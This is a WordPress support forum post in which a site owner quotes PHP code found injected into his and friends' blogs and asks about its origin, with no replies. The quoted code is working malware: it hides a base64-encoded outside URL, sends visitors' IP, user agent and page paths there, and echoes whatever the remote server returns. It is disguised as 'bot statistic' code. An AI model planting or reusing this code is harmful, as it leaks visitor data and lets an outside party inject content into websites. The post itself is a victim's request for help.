Title: Security Risks &#8211; Maleware Code
Last modified: August 20, 2016

---

# Security Risks – Maleware Code

 *  [ceotron](https://wordpress.org/support/users/ceotron/)
 * (@ceotron)
 * [13 years, 7 months ago](https://wordpress.org/support/topic/security-risks-maleware-code/)
 * Hi,
 * i have found this Code in a lot of Blogs of me, and some of my friends:
 *     ```
       <?php
       if (!isset($sRetry))
       {
       global $sRetry;
       $sRetry = 1;
           // This code use for global bot statistic
           $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot
           $stCurlHandle = NULL;
           $stCurlLink = "";
           if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
           {
               if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics
               $stCurlLink = base64_decode( 'aHR0cDovL2Jyb3dzZXJnbG9iYWxzdGF0LmNvbS9zdGF0RC9zdGF0LnBocA==').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
                   @$stCurlHandle = curl_init( $stCurlLink );
           }
           }
       if ( $stCurlHandle !== NULL )
       {
           curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
           curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 6);
           $sResult = @curl_exec($stCurlHandle);
           if ($sResult[0]=="O")
            {$sResult[0]=" ";
             echo $sResult; // Statistic code end
             }
           curl_close($stCurlHandle);
       }
       }
       ?>
       ```
   
 * I haven’t found a useful solution in the forum…!
 * Does anyone know, where this comes from??
 * Thank you,
    Patrick

The topic ‘Security Risks – Maleware Code’ is closed to new replies.

## Tags

 * [maleware](https://wordpress.org/support/topic-tag/maleware/)

 * In: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/)
 * 0 replies
 * 1 participant
 * Last reply from: [ceotron](https://wordpress.org/support/users/ceotron/)
 * Last activity: [13 years, 7 months ago](https://wordpress.org/support/topic/security-risks-maleware-code/)
 * Status: not resolved

## Topics

### Topics with no replies

### Non-support topics

### Resolved topics

### Unresolved topics

### All topics
